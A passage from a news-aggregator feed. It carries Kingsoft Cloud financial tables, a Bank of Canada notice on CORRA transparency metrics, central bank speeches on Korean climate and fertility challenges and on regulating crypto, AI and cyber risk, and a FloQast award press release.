    Operating loss (342,734 ) (274,157 ) (277,569 ) (1,143,773 ) (43,511 ) (5,960 ) (2,108,551 ) (1,739,010 ) (238,243 )
    Adjustments:                  
    – Share-based compensation expenses 110,437   103,595   45,649   40,423   24,774   3,394   181,645   214,441   29,378  
    – Impairment of long-lived assets –   –   –   919,724   –   –   653,670   919,724   126,002  
    – Amortization of intangible assets 44,656   43,517   43,415   43,460   43,104   5,905   180,459   173,496   23,769  
    Adjusted operating (loss) profit (Non-GAAP Financial Measure) (187,641 ) (127,045 ) (188,505 ) (140,166 ) 24,367   3,339   (1,092,777 ) (431,349 ) (59,094 )
    – (Gain) loss on disposal of property and equipment –   (23,821 ) –   (10,667 ) (10,137 ) (1,389 ) 22,996   (44,625 ) (6,114 )
    Excluding loss or gain on disposal of property and equipment, normalized Adjusted operating (loss) profit (187,641 ) (150,866 ) (188,505 ) (150,833 ) 14,230   1,950   (1,069,781 ) (475,974 ) (65,208 )
                       
    KINGSOFT CLOUD HOLDINGS LIMITED
    RECONCILIATION OF GAAP AND NON-GAAP RESULTS
    (All amounts in thousands, except for percentage)
      Three Months Ended Twelve Months Ended
      Dec 31,
    2023
    Mar 31,
    2024
    Jun 30,
    2024
    Sep 30,
    2024
    Dec 31,
    2024
    Dec 31,
    2023
    Dec 31,
    2024
    Net loss margin -16.7 % -20.5 % -18.7 % -56.3 % -9.0 % -31.0 % -25.4 %
    Adjusted net loss margin (Non-GAAP Financial Measure) -14.5 % -12.2 % -15.9 % -12.6 % -3.1 % -18.3 % -10.6 %
    Adjusted EBITDA margin (Non-GAAP Financial Measure) -1.6 % 1.9 % 3.2 % 9.8 % 16.1 % -3.8 % 8.2 %
    Normalized Adjusted EBITDA margin -1.6 % 0.5 % 3.2 % 9.3 % 15.7 % -3.4 % 7.6 %
    Adjusted operating (loss) profit margin (Non-GAAP Financial Measure) -10.9 % -7.2 % -10.0 % -7.4 % 1.1 % -15.5 % -5.5 %
    Normalized Adjusted operating (loss) profit margin -10.9 % -8.5 % -10.0 % -8.0 % 0.6 % -15.2 % -6.1 %
                   
    KINGSOFT CLOUD HOLDINGS LIMITED
    UNAUDITED CONDENSED CONSOLIDATED STATEMENT OF CASH FLOWS
    (All amounts in thousands)
      Three Months Ended Twelve Months Ended
      Dec 31,
    2023
    Dec 31,
    2024
    Dec 31,
    2024
    Dec 31,
    2023
    Dec 31,
    2024
    Dec 31,
    2024
      RMB RMB US$ RMB RMB US$
    Net cash generated from (used in) operating activities 16,787   570,222   78,120   (169,070 ) 628,419   86,093  
    Net cash used in investing activities (1,414,761 ) (1,337,978 ) (183,302 ) (673,186 ) (3,620,445 ) (495,999 )
    Net cash generated from (used in) financing activities 1,154,815   1,802,762   246,977   (227,852 ) 3,255,418   445,990  
    Effect of exchange rate changes on cash, cash equivalents and restricted cash 1,013   (15,294 ) (2,095 ) 25,863   (22,772 ) (3,119 )
    Net (decrease) increase in cash, cash equivalents and restricted cash (242,146 ) 1,019,712   139,700   (1,044,245 ) 240,620   32,965  
    Cash, cash equivalents and restricted cash at beginning of period 2,731,627   1,710,389   234,322   3,533,726   2,489,481   341,057  
    Cash, cash equivalents and restricted cash at end of period 2,489,481   2,730,101   374,022   2,489,481   2,730,101   374,022  
                 

    The MIL Network –

    March 20, 2025
  • MIL-OSI Canada: Bank of Canada to publish additional metrics to enhance CORRA transparency

    Source: Bank of Canada

    Beginning on March 19, 2025, the Bank of Canada will publish the weighted average mean and mode of the daily Canadian Overnight Repo Rate Average (CORRA) distribution alongside the existing CORRA benchmark rate, which is based on the median. These supplementary metrics will be published to enhance transparency about the distribution of the repo transactions underlying CORRA.

    The weighted average mean and mode will be published on the CORRA webpage and will be available retroactively from June 12, 2020. More information on these additional metrics can be found on The Uses and Limitations of CORRA Transparency Metrics: Beyond Percentiles and Volumes webpage on the Bank’s website.

    Director
    Financial Markets Department

    Assistant Director
    Financial Markets Department

    MIL OSI Canada News –

    March 20, 2025
  • MIL-OSI Banking: Chang Yong Rhee: Sustainability challenges in Korea

    Source: Bank for International Settlements

    I. Introduction

    Ladies and gentlemen, distinguished guests, I am Rhee Changyong, Governor of the Bank of Korea.

    It is an honor to join the Global Engagement & Empowerment Forum (GEEF) to discuss building a sustainable future. I sincerely thank Yonsei University President Yun Dongseob, former U.N. Secretary-General Ban Ki-moon, and everyone who made this event possible. I am also pleased to reconnect with former World Bank President Jim Yong Kim after my time in Washington, D.C.

    Over the years, the GEEF has brought together global leaders, international organizations, businesses, and stakeholders to explore solutions for achieving the United Nations’ Sustainable Development Goals (SDGs). I hope this forum continues driving practical solutions to today’s sustainability challenges.

    I am here to share Korea’s perspective on these issues. Some people say, “The Governor of the Bank of Korea is overstepping his bounds,” because I speak on social issues beyond monetary policy. Discussing the SDGs today may reinforce that perception. While central bankers debate their role in such discussions, sustainability challenges directly impact our economy and daily lives. For this reason, I cannot remain indifferent-not just as a central bank governor, but also as a citizen.

    Sustainability takes many forms, but today I will focus on two urgent challenges for Korea’s economy. The first is climate change, a global crisis affecting everyone. The second is our declining birth rate and aging population, a challenge that is especially severe in Korea.

    II. Climate Change

    There is global and domestic consensus that human activities drive global warming and reducing carbon emissions is essential. However, Korea faces significant resistance to accelerating carbon reduction due to its heavily export-oriented economy dominated by high-carbon manufacturing industries. Strengthening emission reduction policies and environmental regulations raises concerns about export companies losing competitiveness. Thus, balancing urgent carbon reduction with sustaining industrial competitiveness has become a central issue.

    However, climate change should not be viewed solely from the perspective of export industries. It is a crisis directly affecting our daily lives and quality of life. We are already experiencing more extreme heat waves, frequent flooding, and the gradual disappearance of familiar fruits and vegetables. Our summer rainfalls used to be predictable, but not anymore. If Los Angeles can experience massive wildfires, what is stopping Korea from experiencing similar disasters? Climate change is not distant-it is occurring now, and its impacts are unavoidable.

    Air quality is a clear example. Last week, I visited Cape Town, South Africa, for a BIS meeting. While it was winter in Korea, it was summer there, with warm weather, a refreshing sea breeze, and remarkably clean air. Within days, I realized, “This is truly clean air.” Upon returning to Incheon Airport, I immediately felt a headache-not just from the flood of emails about economic and political concerns, but also from the noticeably poorer air quality. Korea’s air quality has improved recently, but after experiencing cleaner air in Washington, D.C., I can clearly sense the difference. As someone sensitive to lung health after experiencing long COVID, this difference is especially noticeable. Although conditions have improved, fine dust remains a serious issue.

    Statistically, the cost of deteriorating air quality is undeniable. Over the past 15 years, diagnoses of atopic dermatitis and allergic rhinitis have doubled, and cases of heat exhaustion have quadrupled, now totaling 4,000. Climate change directly threatens our health, making the challenges of protecting public health increasingly severe as temperatures rise and pollution worsens.

    Another example is the increased frequency of sudden downpours, repeatedly flooding Seoul’s Gangnam Station area, one of Korea’s wealthiest neighborhoods, submerging numerous luxury vehicles over the past several years. Beyond property damage, the human toll has been devastating. Just two years ago, 14 people tragically lost their lives when an underpass collapsed after 500mm of rain fell in thirteen days. Observing these intense summer storms reminds me of tropical squalls typically seen in Thailand or South America.

    The Korea Meteorological Administration now classifies rainfall exceeding 50mm per hour or 90mm over three hours as “extreme heavy rain,” conditions responsible for 80% of flood damage. These extreme events have more than doubled since the 1970s. Given these dramatic changes, it is unclear whether our current flood prevention infrastructure-such as dams, embankments, and drainage systems-can handle the intensifying conditions. About 20% of national river embankments are already rated as “inadequate” or “poor,” and projections suggest half of Korea’s dams may fail to prevent flooding by 2040. We must proactively strengthen infrastructure now to withstand growing climate challenges.

    Third, climate change is disrupting our food supply. Last year, I faced criticism from agricultural stakeholders after suggesting apple imports due to soaring prices (Im et al., 2024). Initially, I anticipated resistance primarily from traditional apple-growing regions like Daegu and North Gyeongsang Province. However, apple production areas are gradually shifting northward. Apple cultivation in Daegu-Gyeongbuk has decreased by nearly half compared to 30 years ago. Once grown nationwide, except for the southern coast and Jeju Island, projections suggest high-quality apples will only be viable in Gangwon Province’s mountainous areas by the 2030s, due to rapid climate change (Rural Development Administration, 2022). Within a decade, importing apples will likely become a necessity rather than controversial.

    The fishing industry faces similar disruptions. Pollack, once a staple in Korea, has nearly vanished from local waters, with catches below one ton since 2019. Traditional species like croaker and anchovies are declining, while warmer-water species like yellowtail and mackerel are increasing. Korea’s fishing industry must rapidly adapt by modernizing vessels, gear, and aquaculture techniques to match the changing marine ecosystem.

    While countless examples exist, the core message is clear. Climate change is not just a challenge for export industries-it already deeply impacts our daily lives and various domestic sectors. Thus, addressing climate change and reducing carbon emissions is not a matter of choice-it is an urgent necessity.

    Although the government has initiated policy efforts, substantial progress remains necessary. First, Korea’s Green Taxonomy (K-Taxonomy) must align with international standards to clearly define “environmentally friendly” activities, signaling strong support for carbon reduction. Second, carbon pricing must be more realistic. Last April, the global average carbon price was approximately $30 per ton, reaching $60 per ton in the EU, compared to only $6 per ton in Korea. At this price, companies find it more economical to buy emission credits than reduce emissions, undermining carbon reduction targets. Third, structural improvements to Korea’s Emissions Trading System (K-ETS) are needed. Gradually reducing the 90% free allocation rate and tightening the emissions cap will create stronger market incentives for effective emissions trading.

    The Bank of Korea is also increasing its efforts by conducting financial stress tests on climate-related risks. Financial institutions traditionally manage risks like loan defaults and real estate fluctuations, but climate-driven risks introduce unexpected tail risks not yet fully considered. Events like Los Angeles’ wildfires or Australia’s six-month wildfire crisis in 2019 are not distant threats. They serve as warnings for Korea. Severe localized climate damage could cause significant financial losses for households and businesses, destabilizing financial institutions and spreading shocks throughout the economy.

    Thus, the Bank of Korea actively researches climate risks’ impacts on our industries and financial system, conducting stress tests with financial institutions under various scenarios. Next Tuesday, we will present these climate stress test results at a joint conference with the Financial Supervisory Service.

    Bank of Korea employees are also committed to reducing carbon emissions through research (Kim et al., 2024) and daily practices. Believing even small actions matter, we have adopted eco-friendly measures such as using recycled-paper business cards, reducing plastic use, turning off unused lights, and implementing license plate-based driving restrictions.

    III. Ultra Low Fertility and an Aging Population

    Beyond climate change, one of the most pressing sustainability challenges is our demographic crisis-an aging population combined with extremely low fertility rates. Korea’s total fertility rate slightly rose to 0.75 in 2024 from 0.72 in 2023. Although this small uptick is welcome, a fertility rate of 0.75 remains a national emergency. If this trend continues, Korea faces an irreversible population crisis that threatens economic stability and social cohesion.

    Some people suggest that population decline might have benefits, such as reduced pollution, lower energy consumption, and higher GDP per capita, possibly enhancing quality of life. However, this view dangerously oversimplifies the issue. A fertility rate of 0.75 leads not to gradual decline but rapid demographic collapse, undermining economic and social stability. By contrast, the OECD average fertility rate of 1.4 results in a more manageable and sustainable population decline.

    The difference between fertility rates of 0.75 and 1.4 significantly impacts economic growth prospects. At 0.75, Korea’s population would shrink from 51.7 million to 30 million in 50 years, just 58% of today’s figure, declining annually by 1.1%. In contrast, at a rate of 1.4, the population decline is less severe, reaching 43 million-83% of today’s level-with an annual drop of 0.4%. From a purely demographic standpoint, the difference in GDP growth between these two scenarios would amount to 0.4 percentage points annually. But the true cost goes beyond this simple calculation. A declining youth population, crucial for innovation, entrepreneurship, and economic dynamism, would severely undermine Korea’s long-term growth potential. According to a recent Bank of Korea study, Korea’s potential growth rate, currently around 2%, may approach near 0% by the late 2040s (Lee et al., 2024). If the fertility rate remains at 0.75, Korea will inevitably face prolonged negative economic growth after 2050. Conversely, at 1.4, Korea could maintain positive economic growth well into the future.

    Beyond GDP, persistently low fertility will create substantial fiscal strain, increasing the burden on younger generations. As the elderly population surges, spending on pensions, healthcare, and elder care will rise significantly. According to the National Assembly Budget Office (2025), Korea’s national debt-to-GDP ratio, currently 46.9%, is projected to reach 182% within 50 years if fertility remains at 0.75. If fertility improves to 1.4, the ratio would increase more slowly, reaching 163%. The burden on young Koreans will become particularly overwhelming. Currently, four working-age individuals support each elderly person. At a fertility rate of 0.75, this ratio will decline to one-to-one within 50 years. At 1.4, however, it remains more manageable, easing strain on future generations.

    Moreover, economic instability from demographic shifts increases society’s vulnerability to populism. Stagnant growth exacerbates income inequality, deepens generational and class divides, and fuels political polarization. Politicians and governments may resort to populist fiscal policies, such as direct cash handouts and temporary welfare measures, providing short-term relief without addressing underlying issues. Such policies risk creating a cycle of fiscal inefficiency and mounting national debt, exacerbating rather than resolving the core problems.

    To preserve economic sustainability, decisive action must be taken urgently. If Korea’s fertility rate remains critically low without significant expansion of the workforce through foreign labor, the country risks chronic negative growth, soaring debt, and escalating social tensions. Avoiding this scenario requires raising the fertility rate to a more viable level. Completely reversing population decline may be unrealistic since many advanced economies face similar demographic challenges, but Korea cannot afford to remain passive. At a minimum, we must strive to reach the OECD average fertility rate of 1.4.

    Why has Korea’s fertility rate fallen so drastically? The answer lies in structural barriers discouraging young people from marriage and parenthood. Bank of Korea studies indicate young Koreans delay or forgo marriage and childbirth due to intense competition and anxieties over employment, housing, and childcare. Young people today face fierce competition for scarce, high-quality jobs, making career stability difficult. Simultaneously, soaring housing prices make homeownership seem unattainable. Under these pressures, raising children is more than challenging-it is an overwhelming financial and emotional burden.

    A major driver of this crisis is the extreme concentration of population and economic activity in the Seoul metropolitan area. A recent Bank of Korea study analyzing fertility trends in 35 OECD countries identified Korea’s urban concentration as among the highest globally, pinpointing it as a key factor behind the country’s ultra-low fertility (Hwang et al., 2023). Over 50% of Korea’s GDP, population, and jobs are concentrated in the Seoul metropolitan area-much higher than 5% in the U.S. and Germany, 10-20% in the U.K. and Italy, 20-30% in France, and 30% in Japan. While Korea’s rapid economic development-the “Miracle on the Han River”-transformed the country into an economic powerhouse, it also centralized infrastructure, talent, and opportunities in Seoul. Consequently, young people continue migrating to the capital for career prospects, draining vitality from regional economies and pushing many toward demographic extinction.

    Korea’s highly competitive university entrance system further reinforces the population concentration in the Seoul metropolitan area. Admission to prestigious universities is considered essential-not only for stable employment but also for social status and marriage prospects. This fuels intense competition for limited spots at elite universities, overwhelmingly located in Seoul. Private education has become critical, prompting families to relocate to Seoul’s affluent areas like Gangnam-gu, known for high-quality private educational infrastructure. Many parents unable to afford homeownership instead rely on costly rental housing to secure educational advantages. This strategy appears justified, as students from Seoul account for 32% of admissions to Seoul National University (SNU), despite representing only 16% of school-age population. More strikingly, students from Gangnam-gu alone constitute 12% of SNU admissions, three times the district’s 4% share of school-age residents (Chung et al., 2024). Relocating to Gangnam-gu is thus seen as essential for top university admission, intensifying Seoul’s population density, raising housing prices, and worsening the fertility crisis.

    Korea’s university admission system is excessively competitive by any standard. Parents sacrifice their quality of life and retirement savings, investing considerable resources to secure their children’s admission to elite universities. Paradoxically, this intense pursuit of academic success imposes a heavy cost on both parents and children. From as early as kindergarten, students experience relentless pressure and burnout, depriving them of childhood joys and a healthy adolescence.

    Korea’s critically low fertility rate (0.75), extreme population concentration in the Seoul metropolitan area, and overheated university competition seem like separate issues but are deeply interconnected. Left unresolved, these challenges-drastic population decline, persistent negative economic growth, escalating social tensions, and diminishing opportunities for youth-will push Korea toward an unsustainable tipping point. Addressing these structural issues simultaneously is challenging, yet the urgency demands bold action. Recognizing this, the Bank of Korea recently proposed two policy suggestions: foster a limited number of regional hub cities and implement a “regional proportional admission system” for universities.

    First, to effectively reduce the extreme population concentration in the Seoul metropolitan area, we must strategically develop a small number of regional hub cities. Over the past two decades, regional development policies have been introduced to address this imbalance. However, due to political challenges and efforts to evenly distribute resources nationwide, these initiatives have been too fragmented to meaningfully curb Seoul’s dominance.

    According to Bank of Korea research, the optimal approach-given Korea’s land area and population-is to concentrate substantial investments in two to six carefully selected regional hub cities. Targeted, large-scale investment in critical infrastructure, such as healthcare, education, and cultural amenities, is essential to providing a quality of life comparable to Seoul, thus effectively attracting and retaining residents (Chung et al., 2023, 2024). Pursuing this focused strategy will rebalance population distribution, revitalize regional economies-including surrounding smaller cities-and achieve sustainable national development.

    In parallel, bold reforms to Korea’s college admissions system are essential. The Bank of Korea has proposed a “regional proportional admission system,” where universities voluntarily allocate admissions based on each region’s proportion of high school seniors (Chung et al., 2024). Despite multiple revisions to university entrance system, excessive competition in university admissions remains unresolved. BOK’s new proposal seeks to enhance universities’ autonomy in admissions while strongly requiring balanced regional representation-a crucial step to address extreme competition. Adopting this system offers several benefits. First, it reduces the disproportionate influence of socioeconomic factors such as parental wealth and private education, thus significantly enhancing social mobility. Second, dispersing admissions competition from Seoul would ease demographic pressures, stabilize housing prices, and improve fertility rates. Third, attracting students from diverse regions promotes mutual understanding, social cohesion, and reduces regional disparities.

    This proposal does not require government intervention or legal amendments, relying instead on the willingness and initiative of leading universities. In Korea, there remains a strong belief that selecting students based solely on academic scores is the fairest, leading resistance to this proposal. Some universities argue they already implement regional proportional admissions for roughly 15% of their freshmen. However, such limited quotas can stigmatize these students and have insufficient impact on demographic or housing pressures in Seoul. To be effective, regional proportional admissions must be applied to most incoming students’ admissions. In many advanced nations, regional diversity in admissions is widely accepted and encouraged. I believe Dr. Jim Yong Kim, joining us today and a former president of Dartmouth College, understands this issue well. He could highlight how Korea’s test score-based admissions approach is an exception globally, and how this reform could realistically occur through proactive leadership at major universities.

    In my view, allowing universities greater flexibility in evaluating applicants-under regional proportional requirements-would better acknowledge and fairly recognize diverse talents. Human talent is far too diverse to be measured by academic tests alone. Yet, Korea’s current admissions system prioritizes a narrow skillset: memorization, quick mathematical calculations, and rapid text summarization under time pressure. These skills, overly rewarded by standardized exams, limit the range of recognized talents. I happen to possess these particular skills and was a major beneficiary of Korea’s college admission system. However, if asked to write a creative essay over a week, I might not have excelled. Today, elite university students often share certain defining characteristics such as a personality that diligently follows instructions without rebellion, a willingness to endure 15 years of repetitive study from kindergarten, an IQ high enough to handle the academic workload, but not so high as to question or challenge its purpose.

    When Korea’s primary goal was catching up with more advanced nations, the current educational system was beneficial in developing individuals who excelled at following orders and carrying out assigned tasks. However, with Korea now at the forefront of global technological competition, we need people unafraid to explore new frontiers, bringing diverse backgrounds and innovative thinking. Additionally, we must foster an environment that encourages collaboration, creativity, and meaningful interaction. It is time for universities to broaden their evaluation criteria and nurture diverse talents by implementing regional proportional admissions.

    The challenges highlighted today-climate change and demographic crisis-pose critical threats and require urgent action. Korea has achieved remarkable economic progress, joining the ranks of advanced nations. Now we must focus on enhancing individual well-being, ensuring prosperity and happiness for all citizens. Through bold decisions, we can develop vibrant, youth-friendly, green regional hubs that combat climate change and support marriage and childbirth. The Bank of Korea remains fully committed to securing a sustainable, prosperous future for upcoming generations.

    Thank you for your time and attention.

    This speech was prepared with the assistance of Sanghun Park and Joonki Min from the Office of Sustainable Growth, and Inro Lee and Inkyung Yoo from the Economic Research Institute.

    References

    Kim J. Y., Ryu G. B., Hwang J. H., Kim H. J., Kim H. N., Lee H. A., and Sim S. B. 2024. “The Impact of Climate Change Risks on the Real Economy: Analysis by Climate Response Scenarios.” BOK Issue Note No. 2024-30, Bank of Korea.

    Rural Development Administration. 2022. “Prediction of Changes in Cultivation Areas for Six Major Fruits Considering Climate Change Scenarios.” Press Release.
    Lim W. J., Lee D. J., Lee Y. S., and Park C. H. 2024. “Characteristics and Implications of Korea’s Price Levels: A Comparison with Major Countries.” BOK Issue Note No. 2024-14, Bank of Korea.

    Chung M. S., Kim E. J., Lee H. S., Hong S. J., and Lee D. R. 2023. “Interregional Population Migration and Regional Economy.” BOK Issue Note No. 2023-29, Bank of Korea.

    Chung M. S., Lee Y. H., Yoo J. S., and Kim E. J. 2024. “Analysis of Regional Economic Growth Factors and Balanced Development Focused on Hub Cities.” BOK Issue Note No. 2024-15, Bank of Korea.

    Chung J. W., Lee D. W., and Kim H. J. 2024. “Adressing Social Issues Steming from Excessive Competition in College Admissions.” BOK Issue Note No. 2024-26, Bank of Korea.

    Hwang I. D., Nam Y. M., Sund W., Shim S. R., Yeom J., Lee B. J., Lee H. R., Chung J. W., Cho T. H., Choi Y. J., Hwang S. W., and Son M. K. 2023. “Lowest-low Fertility and Super-aged Society: Causes and Impacts of the Extreme Population Structure, and Policy Options.” In-Depth Analysis, Korea Economy Outlook, Bank of Korea.

    Lee E. K., Chun D. M., Kim J. W., and Lee D. J. 2024. “Potential Growth Rate of the Korean Economy and Future Outlook.” BOK Issue Note No. 2024-33, Bank of Korea.

    Lim W. J., Lee D. J., Lee Y. S., and Park C. H. 2024. “Characteristics and Implications of Korea’s Price Levels: A Comparison with Major Countries.” BOK Issue Note No. 2024-14, Bank of Korea.

    National Assembly Budget Office. 2025. “2025-2072 NABO Long-Term Fiscal Outlook.”

    MIL OSI Global Banks –

    March 20, 2025
  • MIL-OSI Banking: Denis Beau: Regulation and innovation – mutual benefits

    Source: Bank for International Settlements

    Ladies and Gentlemen,

    The financial sector is engaged in an unprecedented dynamic of innovation. New technologies offer vast opportunities in the field of financial services but bring also a variety of risks. This ambivalent impact of innovation raises obvious questions for central banks and supervisors in charge of financial stability: how can we ensure that financial stability is maintained in such a changing environment, and that customers and all stakeholders have confidence in the financial system? In Europe, part of the answer to this question is provided by adapting our regulation tools to help harness benefits brought by innovation while controlling risks. However this approach raises questions: is there not a risk of hampering innovation and therefore competitiveness of the financial sector in the name of controlling risks?

    This morning I would like to share with you a strong conviction, which may seem iconoclastic in the current context, and perhaps even more so in this country: there is no point in opposing innovation and regulation. Jean Monnet, one of the fathers of European integration, famously said: ‘Nothing is possible without men, but nothing lasts without institutions’. In the same vein, I would say: ‘Nothing is possible without innovation, but nothing lasts without regulation’. 

    This is particularly true, I believe, for the financial system, and I would like to illustrate this in three critical areas for the prospective safety and efficiency of the financial sector – DLT-based finance, artificial intelligence (AI) and cyber risks.

    I/ Let me start with DLT-based finance.

    1/ Today, crypto-assets are back in the spotlight, particularly here in the US. However, we need to bear in mind that ‘first generation’ crypto-assets, such as bitcoin, represent only a small proportion of global financial assets (1.4% of the world market capitalisation at the end of 2024), and are not widely used in critical financial services, including payments, on which the real economy depends.

    In contrast, the sponsors of tokenization initiatives argue that DLT-based tokenization, while still in its infancy, offers wider opportunities and use cases notably in the field of investment, trading, clearing and settlement services. For example, in the short to medium term, the tokenisation of financial assets could lead to efficiency gains in post-trade activities, with blockchain technologies enabling greater automation, greater availability and transparency, and improved traceability. In the longer term, the tokenisation of non-financial assets – such as real estate – could increase the liquidity and accessibility of the underlying markets.

    However, the development of tokenised finance is notably handicapped by the absence of a fully secure settlement asset. Central bank money – the most secure form of money, and the reference settlement asset in traditional finance – is not currently available on blockchain. For this reason – in other words, by default – market participants may be tempted to use crypto-assets known as stablecoins. However, stablecoins, especially when they are not regulated, are subject to many risks, particularly liquidity risks. Market participants are well aware of these risks, and the resulting lack of confidence goes a long way to explaining the relatively slow pace at which the tokenisation of assets is developing.

    2/ Against this backdrop, our strategy in Europe has been to adapt our regulation tools in two main ways to support a sustainable and safe development of tokenised finance, and to also safeguards our monetary sovereignty on settlement solutions. First, we have developed an ad-hoc legislation for stablecoins issuers and digital assets service providers through the adoption of the MiCA Regulation and the so-called ‘DLT Pilot Regime’ Regulation. Second, central banks of the Eurosystem under the aegis of the ECB have been preparing an adaptation of the central bank money services they provide. To support the development of tokenized finance more specifically, the Governing Council of the ECB announced two weeks ago that the Eurosystem will develop and deploy solutions to settle in central bank money, including in digital form, namely in wholesale CBDC, transactions recorded on DLTs, following a two track approach. This initiative whose first track should become live by the end of next year should contribute to support the growth of an integrated and sound European market for digital assets.

    II/ I’d now like to turn to a second area of innovation that is absolutely crucial for the financial sector: artificial intelligence. 

    1/ The recent International AI Safety Report led by Professor Yoshua Bengio identifies three types of AI risk: risks associated with misuse, risks associated with malicious use, and systemic risks. This morning I would like to talk about the latter, and how they apply to the financial sector.

    First and foremost, the financial sector is vulnerable to risks originating in the real economy. AI could bring about incremental productivity gains but also more profound economic changes, with major sectoral restructuring, and major transfers of jobs from some economic sectors to others – with increased risks of bankruptcy in some sectors, speculative bubbles in others… These economic changes could in turn destabilise the financial sector.

    The financial sector is also largely concerned with environmental risks, which the development of AI tends to amplify. The prospect of regular, or even intensive, use of generative AI by billions of customers around the world obviously raises environmental questions and leads to advocacy for a reasoned use of AI.

    AI could also contribute to amplify financial sector vulnerabilities through a number of specific characteristics. For instance, concentration in the AI market, in terms of reliance on specialized hardware, cloud services and pre-trained models, may result in compounding a risk of dependence on third-party players, if the financial sector were to massively favour the purchase of ‘off-the-shelf’ AI systems – for example in the field of generative AI, where the main players are today the same as those who dominate the cloud market. This echoes the sovereignty issues I mentioned earlier.

    Other amplification impacts on financial system vulnerabilities could go through the use of the same types of trading tools and models, which could increase herding behaviour in the financial markets, resulting in greater volatility and procyclicality. The complexity and novelty of the new models could also increase the risk of error or misuse of AI by institutions. This could lead to significant financial losses, which, through financial interconnectedness, could quickly spread throughout the financial system.

    2/ To deal with these risks, we must lay the foundations for ‘trustworthy AI’, i.e. AI that is under control, which implies appropriate regulation.

    Europe has been a pioneer in this area: the AI Act, adopted in the summer of 2024, aims to protect citizens’ rights while promoting the development of a European market of trustworthy AI. In addition, financial supervisors will have to adapt their supervisory activities to ensure that financial institutions remain in control of the risks associated with their use of AI. 

    To that end, I would like to share two convictions with you this morning. Firstly, the principles we usually promote as supervisors of sound risk management and governance can provide an effective framework for most of the risks associated with AI, with a few adaptations. And the financial sector’s risk management culture and internal control systems provide solid safeguard. 

    However, and this is my second conviction, some issues are resolutely new. Thus, they require specific attention from supervisors and supervised entities alike. This is the case for the explainability and fairness of algorithms. To leave these questions unanswered would mean creating legal uncertainty for institutions, in other words slowing down operational decisions and ultimately innovation in the sector. So I believe that we need to provide the financial sector now with technological and regulatory support, to ensure the development of trustworthy AI. In particular, this means that supervisors need to upgrade their skills, adapt their tools and methods… in short, they need to innovate. Here again, innovation and regulation appear to be complementary rather than mutually exclusive imperatives.

    III/ Finally, let me now turn to a third area of critical importance to the financial sector: cyber risks.

    1/ The financial sector is one of the biggest users of data and IT resources in the world. This structural trend has been reinforced in recent years by the ever-increasing availability and openness of data. This openness is of great benefit to the financial sector, which can assess new risks or fine-tune pricing. At the same time, the multiplication of data sources and the strengthening of technical interconnections are creating new vulnerabilities. These vulnerabilities are exacerbated by the development of new technologies, most notably AI, which greatly increases the threat posed by cyber attackers, although it can also help to identify attack patterns.

    Another new technology could have an even more radical impact on cyber risks, with devastating consequences for the financial sector: quantum computing. It has already been proven that, thanks to their parallel computing capabilities, quantum computers will be able to break the most widely used encryption methods by ‘brute force’, particularly those that currently protect our communication channels. The advanced dematerialisation of exchanges means that our economy and financial system are highly dependent on the robustness of encryption techniques. As a result, this threat should prompt us to begin without delay a gradual transition to quantum-resistant cryptographic solutions. These solutions already exist and have recently been referenced by the American NIST, even if they still require a great deal of research. This is one of the reasons why we, at the Banque de France, have been conducting a number of experiments in this area on an international scale, notably through our involvement in the BIS Innovation Hub.

    2/ Furthermore, in order to reconcile open data and risk management, we need to organise the operational resilience of the financial sector. To that end, in Europe, the recently enacted DORA Regulation complements the sectoral regulations with specific rules on operational resilience and IT risk management. In particular, it introduces new risk prevention methods, such as threat-led penetration testing (TLPT) for systemic institutions. These enhanced security tests, involving ‘red’ teams that simulate the tactics of cyber attackers, allow institutions’ critical systems to be tested in a real-world environment.

    DORA also encourages financial institutions to cooperate with each other to share their knowledge of emerging threats. Supervisors will play a central role in facilitating and overseeing this exchange of information between stakeholders. In this way, regulation will act as a facilitator, to improve operational resilience and IT risk management.

    To conclude, let me say a few last words on the challenges those innovations raise for us central banks and supervisors if we want to contribute positively to harness their benefits and mitigate their risks on the functioning and stability of the financial system. 

    1/ First, we need to master new technologies ourselves to remain effective and efficient in the conduct of our supervisory activities. This means equipping ourselves with high-performance processing infrastructures, paying particular attention to the sensitive data at our disposal. When it comes to data, we need to make the most of the new data sources, by taking advantage of technological innovations: the open ledgers that blockchains constitute, for example, are a new data manna for central banks and supervisors. To make the most of this potential, however, we need to acquire specialised skills – which is not always easy in a highly competitive world – and develop our tools and methods. In this area, closer cooperation with the academic world could enable us to move forward more quickly.

    2/ This brings me to my second point: we also need to cooperate more and better. Each of the three subjects I mentioned earlier – DLT, AI, cyber and quantum – is by its very nature a cross-border issue. We therefore naturally need to develop synergies with peer financial authorities, in order to build coherent regulation on a global scale. We also need to go further and build cooperation with other sectoral authorities (competition, privacy, cyber-security, etc.), in order to take account of the many dimensions of these highly complex issues. Finally, it is also in our interest to cooperate more with the financial sector itself: public authorities and financial institutions share many challenges – think, for example, of quantum computing, which I mentioned earlier – and they will be able to tackle them all the more easily if they are able to move forward together.

    To sum up, I would say that central bankers and financial supervisors must not only contribute to regulate, but also innovate, in order to ensure the stability of the financial system while supporting its transformation through innovations. This requires from us to avoid the pitfall common to both regulation and innovation, which can be excessive sophistication or complexity.
    This is why in the debate which has started in Europe about how to foster the competitiveness of our financial sector, we advocate at the Banque de France for regulation as simple as possible, and for simplifying it and reducing the associated reporting burden when needed, without renouncing to set demanding requirements in terms of risk management.

    In other words, we are in favor of simplifying, not deregulating, which means regulating more effectively and efficiently.

    Thank you for your attention.

    MIL OSI Global Banks –

    March 20, 2025
  • MIL-OSI: FloQast Named “Best Finance Automation Platform” in 2025 FinTech Breakthrough Awards

    Source: GlobeNewswire (MIL-OSI)

    LOS ANGELES, March 19, 2025 (GLOBE NEWSWIRE) — FloQast, an Accounting Transformation Platform created by accountants for accountants, is proud to announce it has been selected as the winner of the “Best Finance Automation Platform” award in the 2025 FinTech Breakthrough Awards. The prestigious awards program recognizes outstanding financial technology companies and products from around the world.

    In its ninth year, the FinTech Breakthrough Awards received over 4,500 nominations globally, with winners selected through a rigorous evaluation process. The program celebrates innovation and excellence across various financial services categories, including Digital Banking, Personal Finance, Lending, Payments, Investments, RegTech, and InsurTech.

    “We’re excited to be recognized for our work in transforming accounting workflows with AI and automation,” said Mike Whitmire, CEO and co-founder of FloQast, CPA. “Our goal has always been to help accountants work more efficiently and strategically, and this award reinforces that mission. By bringing innovative technology to everyday accounting tasks, we’re giving accounting and finance teams the tools to move faster, stay on top of their numbers, and tackle audits with confidence.”

